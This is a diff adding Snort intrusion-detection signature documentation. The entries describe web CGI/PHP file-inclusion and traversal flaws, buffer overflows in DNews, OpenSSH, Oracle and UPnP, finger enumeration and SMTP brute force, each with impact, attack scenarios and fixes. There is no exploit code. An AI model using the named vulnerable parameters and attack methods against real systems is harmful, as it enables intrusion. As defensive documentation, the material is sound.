+++ snort-2.8.5.2/doc/signatures/1537.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1537
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2200.txt
+++ snort-2.8.5.2/doc/signatures/2200.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2200
+
+--
+Summary:
+This event is generated when an attempt is made to access dnewsweb.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in NetWin DNews News Server 5.3.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+NetWin DNews News is a web-based application that manages remote access to Internet newsgroups. When overly long arguments are used as arguments to some dnewsweb.cgi parameters (including but not limited to "group," "cmd," and "utag"), a buffer overflow condition may occur. This can lead to the remote execution of arbitrary code with the security context of DNews. 
+
+--
+Affected Systems:
+Any operating system running NetWin DNews News Server 5.3 or lower.
+
+--
+Attack Scenarios:
+An attacker transmits an overly long, specially crafted URL to the vulnerable DNews server, causing a buffer overflow condition. The attacker is then able to execute arbitrary code on the server with the security context of DNews. 
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+If a legitimate remote user accesses dnewsweb.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to DNews News Server 5.4 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1172
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1727.txt
+++ snort-2.8.5.2/doc/signatures/1727.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1727
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1978.txt
+++ snort-2.8.5.2/doc/signatures/1978.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1978
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2566.txt
+++ snort-2.8.5.2/doc/signatures/2566.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2566
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2358.txt
+++ snort-2.8.5.2/doc/signatures/2358.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2358
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application Typo3.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+Typo3 contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable ONLY when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	Typo3 Typo3 3.5 b5
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the ONLY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/484.txt
+++ snort-2.8.5.2/doc/signatures/484.txt
@@ -0,0 +1,51 @@
+Rule:
+--
+Sid:
+484
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a host running Sniffer Pro/NetXRay software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running Sniffer Pro/NetXRay software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3086.txt
+++ snort-2.8.5.2/doc/signatures/3086.txt
@@ -0,0 +1,65 @@
+Rule: 
+
+--
+Sid: 
+3086
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the file
+spp_sta.stm on a 3com wireless router.
+
+-- 
+
+Impact: 
+Intelligence gathering activity.
+
+--
+Detailed Information:
+The 3Com ADSL wireless router 3CRADSL72 is prone to an authentication
+bypass issue that may allow a malicious third party to gain information
+on the device and the networks it serves. It may also be possible for an
+attacker to gain administrative privileges on the device.
+
+--
+Affected Systems:
+	3Com 3CRADSL72 ADSL wireless router
+
+--
+
+Attack Scenarios: 
+An attacker with access to the page can gain information on the networks
+being served by the router and use the knowledge gained in further
+attacks on the system. The attacker may also be able to gain
+administrative access to the router.
+
+-- 
+Ease of Attack: 
+Simple. No exploit software is required.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+The address of the router should be added to the $HTTP_SERVERS variable
+if the rule is used in the default form. Otherwise a $WIRELESS_ROUTERS
+variable could be used in both the snort.conf and the rule to eliminate
+any possible false positives.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch.
+
+--
+Contributors: 
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/844.txt
+++ snort-2.8.5.2/doc/signatures/844.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+844
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000681.txt
+++ snort-2.8.5.2/doc/signatures/100000681.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000681
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "header.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "header.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2517.txt
+++ snort-2.8.5.2/doc/signatures/2517.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2517
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1812.txt
+++ snort-2.8.5.2/doc/signatures/1812.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid: 1812
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SSH daemon.
+
+--
+Impact:
+System compromize presenting the attacker with either the opportunity to
+execute arbitrary code with the privileges of the user running the SSH daemon (usually root) or a possible Denial of Service (DoS).
+
+--
+Detailed Information:
+OpenSSH versions prior to 3.3 contain a flaw that could allow a remote attacker to compromise a vulnerable SSH daemon via an integer overflow on systems with BSD_AUTH or SKEY options compiled and PAM authentication or Challenge Response Authentication enabled.
+
+Affected Systems:
+	OpenSSH versions 2.9 to 3.2
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+Enable the privilege separation option in OpenSSH 3.3 if possible.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Securityfocus:
+http://www.securityfocus.com/bid/5093
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2694.txt
+++ snort-2.8.5.2/doc/signatures/2694.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2694
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure verify_queue_types_get_nrp
+. This procedure is included in
+sys.dbms_aqadm.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2670.txt
+++ snort-2.8.5.2/doc/signatures/2670.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+2670
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the file
+pgpmail.pl.
+
+-- 
+Impact: 
+Possible unauthorized administrative access to the victim host.
+
+--
+Detailed Information:
+The script pgpmail.pl does not properly sanitize user supplied input.
+This may allow an attacker to supply commands of their choosing to the
+victim host with the privileges of the user running the web server.
+
+--
+Affected Systems:
+	pgpmail prior to and including 3.6
+
+--
+Attack Scenarios: 
+An attacker can supply arbitrary commands to the pgpmail.pl script.
+
+-- 
+Ease of Attack: 
+Simple
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Uninstall the script pgpmail.pl
+
+Only allow usage from authenticated users
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2275.txt
+++ snort-2.8.5.2/doc/signatures/2275.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2275
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to an
+SMTP server using brute force methods.
+
+--
+Impact:
+Attempted remote access.  
+This event may indicate that an attacker is attempting to guess username and password combinations.  
+Alternately, it may indicate that an authorized user has entered an
+incorrect username and password combination a number of times.
+
+--
+Detailed Information:
+An SMTP server will issue an error message after a failed login attempt.  
+This may be an indication of an attacker attempting brute force guessing 
+of username and password combinations.  It is also possible that an authorized 
+user has incorrectly entered a legitimate username and password combination.  
+
+This event will be generated after a number of failed attempts.
+
+--
+Affected Systems:
+SMTP servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed SMTP login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2154.txt
+++ snort-2.8.5.2/doc/signatures/2154.txt
@@ -0,0 +1,60 @@
+Rule:
+
+
+--
+Sid:
+2154
+
+--
+Summary:
+This event is generated when a remote user attempts to access autohtml.php on a web server. This may indicate an attempt to exploit a  vulnerability in PHP-Proxima, a web site portal application.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a vulnerability in the autohtml.php script within PHP-Proxima. An attacker can use directory traversal techniques when accessing autohtml.php to view hidden files and directories on the web server with the access privileges of the server. In addition, an attacker can enter an arbitrary file name within the "name" parameter of the autohtml.php call, and if the file exists, the attacker can view it.
+
+--
+Affected Systems:
+Any server running PHP-Proxima.
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques or use a specific filename in the "name" parameter of the URL when executing autohtml.php to view specific directories and files on the web server.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses autohtml.php, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Comment out or remove the "include("autohtml/$name");" line from the autohtml.php script.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7598
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11630
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2426.txt
+++ snort-2.8.5.2/doc/signatures/2426.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2426
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1384.txt
+++ snort-2.8.5.2/doc/signatures/1384.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1384
+
+--
+Summary:
+This event is generated when a remote user attempts to send a NOTIFY directive to an internal host's Universal Plug and Play (UPnP) server.
+
+--
+Impact:
+Attempted administrator access or denial of service.  A successful attack may cause a denial of service or permit the execution of arbitrary code with administrator privileges.
+
+--
+Detailed Information:
+The UPnP is used to find network-based devices.  Specifically, UPnP NOTIFY directives are employed to advertise the existence of UPnP devices on the network.  A vulnerability exists that permits a malformed NOTIFY directive to cause a buffer overflow on the remote host listening on UPnP.  Alternately, a malformed NOTIFY directive may be used to exhaust resources on a remote host listening on UPnP.  The buffer overflow attack may permit the execution of arbitrary code on the host with administrator privileges.
+
+--
+
+Affected Systems:
+Microsoft Windows 98, 98SE, ME, XP
+
+--
+Attack Scenarios:
+An attacker may obtain craft a malformed NOTIFY directive to cause a denial of service or attempt to execute arbitrary code on the victim host.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+This event will be generated if external hosts are permitted to query for UPnP devices.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block inbound UPnP traffic.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0876
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0877
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1473.txt
+++ snort-2.8.5.2/doc/signatures/1473.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1473
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1461.txt
+++ snort-2.8.5.2/doc/signatures/1461.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1461
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/324.txt
+++ snort-2.8.5.2/doc/signatures/324.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+
+324
+
+--
+Summary:
+This event is generated when a null character in a Finger request is 
+detected.
+
+--
+Impact:
+Some systems will respond to a null finger request by supplying a list 
+of usernames present on the host.
+
+Disclosure of usernames is an Information Gathering risk.  The remote 
+user can use this information in other exploits that require knowing 
+user names, or as a basis for social engineering.
+
+--
+Detailed Information:
+A packet is transmitted to server port 79 (Finger) with a null character
+in the data.  Some Unix finger commands will respond with a full list of
+usernames.  A remote attacker could use this information for other 
+exploits, including dictionary-based password attacks and social 
+engineering attempts.
+
+--
+Affected Systems:
+	Some UNIX based systems
+
+--
+Attack Scenarios:
+See detailed information section above.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Disable the finger daemon in inetd.conf, or block untrusted access to 
+port 79 using a packet filtering firewall.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References: CVE-1999-0612, 
+
+Arachnids:
+http://www.whitehats.com/info/IDS377 (Arachnids,377)
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1026.txt
+++ snort-2.8.5.2/doc/signatures/1026.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1026
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
